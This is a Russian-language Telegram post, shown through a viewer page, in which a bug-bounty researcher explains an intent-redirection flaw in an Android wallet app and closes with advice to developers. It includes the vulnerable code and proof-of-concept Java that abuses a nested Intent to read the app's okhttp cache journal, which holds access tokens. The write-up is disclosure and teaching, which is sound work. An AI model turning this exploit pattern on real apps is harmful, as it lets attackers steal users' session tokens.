TGViewer
Пост Импакта Пост Импакта @postimpact · 2.48K subscribers
Post #9 2.65K
Intent intent = (Intent) SelectBankAccountActivity.this.getIntent().getParcelableExtra("select_bank_next_intent_extra");
SelectBankAccountActivity.this.startActivity(intent);
SelectBankAccountActivity.this.finish();

Да, вашему взору предстала стандартная уязвимость когда используя злонамеренное намерение можно получить доступ к защищенным(не экспортированным) компонентам приложения. Смысл в том что приложение забирает из FlowState "объект" который может отправить злоумышленник, а потом запускает.

Ура! Теперь осталось составить PoC:

Intent next = new Intent("android.intent.action.VIEW");
next.setClassName(????)
//...
Intent intent = new Intent("android.intent.action.VIEW");
intent.putExtra("select_bank_next_intent_extra", next);
startActivity(intent);

Но в какую activity отправить злонамеренный intent от имени приложения, если все activity и так уже экспортированы?
Проявляя невероятную находчивость. Мне удалось найти внутри приложения кеш okhttp в котором хранились запросы с access_token.
Недолго думая, я наконец-то придумал содержимое для переменной next

Intent next =  new Intent("android.intent.action.VIEW");
next.setClassName(getPackageName(),"com.myclass.Theft");
next.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
next.setData(Uri.parse("content://com.mercado.wallet.provider/images/okhttp/journal"));

Выставив уровень серьёзности High — получил ещё один, залуженный reward. И знаете, там ещё было с десяток таких activity, которые запускали вложенный intent.
Разработчики делали следующий фикс: они убирали запуск вложенного intent и ставили exported="false"
Но даже на 5 отчёте с этой уязвимостью, они не отключили кеш okhttp.

Подводя итоги, нужно найти тонкую грань, где начинается одна уязвимость и заканчивается вторая, чтобы правильно внести исправление.
Разработчики, не делайте такую архитектуру для приложений, не извлекайте из стороннего приложения ParcelableIntent для его последующего запуска. Надеюсь ваш код всегда будет безопасным!
  • 👍 3
  • ❤ 1
More from @postimpact
  1. Jul 30, 2024Незабываемый отдых на Бали! 🌴 Хочешь полететь на Бали, поплавать в море и окунуться в атм…
  2. Apr 16, 2024Спасибо @ValyaRoller за приглашение на подкаст! Подписывайтесь на его замечательный канал…
  3. Apr 16, 2024В нашем новом выпуске мы пригласили человека из мира мобильного багхантинга, активного уча…
  4. Mar 7, 2024Новая статья в блоге PT SWARM про раскрытие исходного кода asp[.]net приложений https://sw…
  5. Feb 1, 20243️⃣, 2️⃣, 1️⃣ — поехали! Открываем прием заявок на выступления на киберфестивале Positive…
  6. Dec 18, 2023📁Отслеживаем изменения в файлах JS Недавно было раскрыто несколько отчетов (например тут…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →